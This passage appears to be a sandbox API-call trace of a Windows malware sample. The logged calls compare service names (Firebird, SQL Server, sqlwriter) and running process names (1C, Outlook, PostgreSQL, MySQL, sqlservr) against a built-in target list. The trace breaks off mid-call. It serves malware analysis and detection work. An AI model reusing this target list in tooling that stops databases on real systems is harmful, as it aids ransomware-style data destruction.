(lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0111.300] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0111.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0111.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0111.300] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0111.300] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0111.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0111.300] lstrlenW (lpString="AudioSrv") returned 8 [0111.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0111.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0111.300] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0111.300] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0111.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0111.300] lstrlenW (lpString="BFE") returned 3 [0111.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0111.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0111.300] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0111.300] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0111.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0111.300] lstrlenW (lpString="CryptSvc") returned 8 [0111.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0111.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0111.300] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0111.300] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0111.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0111.300] lstrlenW (lpString="CscService") returned 10 [0111.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0111.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0111.300] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0111.300] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0111.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0111.301] lstrlenW (lpString="DcomLaunch") returned 10 [0111.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0111.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0111.301] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0111.301] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0111.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0111.301] lstrlenW (lpString="Dhcp") returned 4 [0111.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0111.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0111.301] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0111.301] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0111.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0111.301] lstrlenW (lpString="Dnscache") returned 8 [0111.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0111.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0111.301] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0111.301] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0111.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0111.301] lstrlenW (lpString="DPS") returned 3 [0111.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0111.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0111.301] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0111.301] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0111.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0111.301] lstrlenW (lpString="eventlog") returned 8 [0111.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0111.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0111.301] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0111.301] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0111.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0111.301] lstrlenW (lpString="EventSystem") returned 11 [0111.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0111.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0111.302] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0111.302] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0111.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0111.302] lstrlenW (lpString="FontCache") returned 9 [0111.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0111.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0111.302] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0111.302] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0111.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0111.302] lstrlenW (lpString="gpsvc") returned 5 [0111.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0111.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0111.302] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0111.302] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0111.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0111.302] lstrlenW (lpString="iphlpsvc") returned 8 [0111.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0111.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0111.302] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0111.302] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0111.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0111.303] lstrlenW (lpString="LanmanServer") returned 12 [0111.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0111.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0111.303] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0111.303] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0111.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0111.303] lstrlenW (lpString="LanmanWorkstation") returned 17 [0111.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0111.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0111.303] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0111.303] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0111.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0111.303] lstrlenW (lpString="lmhosts") returned 7 [0111.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0111.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0111.303] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0111.303] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0111.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0111.303] lstrlenW (lpString="MMCSS") returned 5 [0111.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0111.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0111.304] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0111.304] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0111.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0111.304] lstrlenW (lpString="MpsSvc") returned 6 [0111.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0111.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0111.304] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0111.304] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0111.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0111.304] lstrlenW (lpString="Netman") returned 6 [0111.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0111.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0111.304] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0111.304] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0111.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0111.304] lstrlenW (lpString="netprofm") returned 8 [0111.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0111.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0111.304] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0111.304] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0111.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0111.304] lstrlenW (lpString="NlaSvc") returned 6 [0111.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0111.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0111.305] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0111.305] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0111.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0111.305] lstrlenW (lpString="nsi") returned 3 [0111.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0111.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0111.305] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0111.305] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0111.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0111.305] lstrlenW (lpString="PcaSvc") returned 6 [0111.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0111.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0111.305] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0111.305] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0111.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0111.305] lstrlenW (lpString="PlugPlay") returned 8 [0111.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0111.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0111.306] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0111.306] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0111.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0111.306] lstrlenW (lpString="Power") returned 5 [0111.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0111.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0111.306] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0111.306] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0111.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0111.306] lstrlenW (lpString="ProfSvc") returned 7 [0111.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0111.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0111.306] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0111.306] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0111.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0111.306] lstrlenW (lpString="RpcEptMapper") returned 12 [0111.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0111.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0111.307] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0111.307] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0111.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0111.307] lstrlenW (lpString="RpcSs") returned 5 [0111.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0111.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0111.307] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0111.307] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0111.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0111.307] lstrlenW (lpString="SamSs") returned 5 [0111.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0111.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0111.307] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0111.307] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0111.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0111.307] lstrlenW (lpString="Schedule") returned 8 [0111.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0111.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0111.308] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0111.308] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0111.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0111.308] lstrlenW (lpString="SENS") returned 4 [0111.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0111.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0111.308] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0111.308] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0111.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0111.308] lstrlenW (lpString="ShellHWDetection") returned 16 [0111.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0111.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0111.308] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0111.308] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0111.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0111.308] lstrlenW (lpString="Spooler") returned 7 [0111.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0111.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0111.309] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0111.309] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0111.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0111.309] lstrlenW (lpString="sppsvc") returned 6 [0111.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0111.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0111.309] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0111.309] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0111.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0111.309] lstrlenW (lpString="SysMain") returned 7 [0111.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0111.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0111.309] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0111.309] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0111.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0111.309] lstrlenW (lpString="Themes") returned 6 [0111.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0111.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0111.309] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0111.309] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0111.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0111.310] lstrlenW (lpString="TrkWks") returned 6 [0111.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0111.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0111.310] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0111.310] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0111.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0111.310] lstrlenW (lpString="UxSms") returned 5 [0111.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0111.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0111.310] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0111.310] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0111.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0111.310] lstrlenW (lpString="W32Time") returned 7 [0111.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="W32Time") returned -1 [0111.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="W32Time") returned -1 [0111.310] lstrcmpiW (lpString1="sqlwriter", lpString2="W32Time") returned -1 [0111.310] lstrcmpiW (lpString1="mssqlserver", lpString2="W32Time") returned -1 [0111.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="W32Time") returned -1 [0111.311] lstrlenW (lpString="WdiServiceHost") returned 14 [0111.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0111.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0111.311] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0111.311] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0111.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0111.311] lstrlenW (lpString="WdiSystemHost") returned 13 [0111.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0111.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0111.311] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0111.311] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0111.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0111.311] lstrlenW (lpString="WinDefend") returned 9 [0111.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0111.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0111.312] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0111.312] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0111.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0111.312] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0111.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0111.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0111.312] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0111.312] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0111.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0111.312] lstrlenW (lpString="Winmgmt") returned 7 [0111.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0111.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0111.312] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0111.312] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0111.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0111.312] lstrlenW (lpString="wscsvc") returned 6 [0111.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0111.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0111.313] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0111.313] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0111.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0111.313] lstrlenW (lpString="wuauserv") returned 8 [0111.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0111.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0111.313] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0111.313] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0111.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0111.313] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0111.316] Process32FirstW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0111.316] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0111.317] lstrlenW (lpString="System") returned 6 [0111.317] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0111.317] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0111.317] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0111.317] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0111.317] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0111.317] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0111.317] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0111.317] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0111.318] lstrlenW (lpString="smss.exe") returned 8 [0111.318] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0111.318] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0111.318] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0111.319] lstrlenW (lpString="csrss.exe") returned 9 [0111.319] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0111.320] lstrlenW (lpString="wininit.exe") returned 11 [0111.320] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0111.320] lstrlenW (lpString="csrss.exe") returned 9 [0111.320] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0111.321] lstrlenW (lpString="winlogon.exe") returned 12 [0111.321] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0111.321] lstrlenW (lpString="services.exe") returned 12 [0111.321] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0111.322] lstrlenW (lpString="lsass.exe") returned 9 [0111.322] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0111.323] lstrlenW (lpString="lsm.exe") returned 7 [0111.323] Process32NextW (in: 